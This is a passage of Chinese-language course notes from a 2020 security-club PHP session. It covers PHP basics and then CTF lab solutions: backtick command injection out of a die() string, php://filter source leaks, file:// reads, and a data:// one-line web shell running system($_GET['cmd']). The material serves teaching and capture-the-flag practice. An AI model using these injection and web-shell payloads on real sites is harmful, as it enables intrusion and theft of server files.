---
# System prepended metadata

title: Advanced PHP
tags: [Enlightened, NISRA, '2020']

---

---
title: Advanced PHP
---
# Advanced PHP by Chess

> [slides](https://slides.com/chesskuo/200828_php/fullscreen)
> [課程影片連結](https://youtu.be/mZwuQCKQJ9g)

> [slido 匿名發問](https://app.sli.do/event/b7ycp8s4/live/questions)(連結已關閉)
:::info
`Z:\` 底下有個今天 PHP 的環境安裝包以及 sample code 壓縮檔
:::

### Environment

- Windows
    - 安裝 PHP for Windows
    - 把 php-7.2.33-nts-Win32-VC15-x64.zip 解壓縮
    - 打開環境變數
    - 點選環境變數
    - 在下方的系統變數中找到Path並點擊
    - 點擊新增
    - 把剛剛解壓縮的檔案路徑複製起來(e.g. C:\Users\CS2019\Desktop\Enlightened 2020\[200828] Advanced PHP\php-7.2.33-nts-Win32-VC15-x64)貼上去
    - 打開cmd輸入 php xxx.php就可以使用囉
- Linux
    - sudo apt install -y php
- MacOS
    - brew install php

## Memorial
- PHP 程式碼區塊
    - `<?php abcd ?>`
- 變數宣告
    - `$`
- 語法結尾
    - `;`
- 註解
    - //單行註解
    - /* 多行註解 */ 
- 資料型態
    - int
    - float
    - Boolean
    - string
    - Array
    - object
- 字串
    - 宣告
        - "會解析字串" (類似Python f'')
        - '不會解析字串'
    - 串接
        - .
        - ex. 'aaa' . 'bbb';
---

### 相等
- ``==``
    - 不安全相等，存在memory中的binary相等就true
- `===`
    - 嚴格相等，必須連資料型態都一樣才true

### 括號
- `{}` scope
- ``[ ]`` 索引
- ``( )`` 參數
- ``< >`` 模板型態
---
- `${phpinfo()}` 列出 php 基礎資料
- `eval(你的輸入)` 將你的輸入當作 php 的 code 來執行 

- `‵` 可以直接執行system code 
```
<?php

echo `dir`;

?>
```
可直接使用 dir

- `${system($_)}|Ls`



## 偽協議
- .LFI 
- .RFI 可以從別的地方 include 任意東西進來 
- .RCE 可以從別的地方執行指令(?)



### php://

- input
    - 預設會去讀取 Post Body 的資料
    - 要開啟 allow_url_include

- filter/參數
    - `read=`        以什麼方式讀取
    - `resource=`    必須給 !

* `php://filter/read=???/resource=`
   - read可以選擇要讀取的編碼方式
        - `convert.base64-<encode/decode>`
        - `string.rot13`
        - `string.toupper`
        - `string.tolower`





# Labs

## sushi

- 先把 `die()` 中的雙引號關閉，並且利用重音符執行系統命令
    ```
    " . `ls` . "
    ```

- 接著會看到 flag 的檔案名稱超長，有兩種想法可以拿出 flag
    1. `".`cat T*`."`
    2. 利用長度繞過方式 `${system($_)}|cat xxx`

## file://

```
file:///flag.txt
```

## php://

- 先用 base64 將 php 原始碼 leak
    ```
    php://filter/read=convert.base64-encode/resource=secret.php
    ```

- 再將出來的字串 decode 回去便會得到 php source code


## http:// & data://

- 直接用 `data://` 寫一句話木馬
    ```
    ?file=data://text/plain,<?php system($_GET['cmd']);?>&cmd=ls
    ```
- 利用 linux 指令 `find` 來找出 flag 位置
    ```bash
    find / -name flag.txt
    ```
- 找到路徑後直接用 `cat` 指令存取或是一開始教的 `file://`




---
###### tags: `Enlightened` `NISRA` `2020`
<style>
.navbar-brand::after { content: " × NISRA"; }
</style>pytho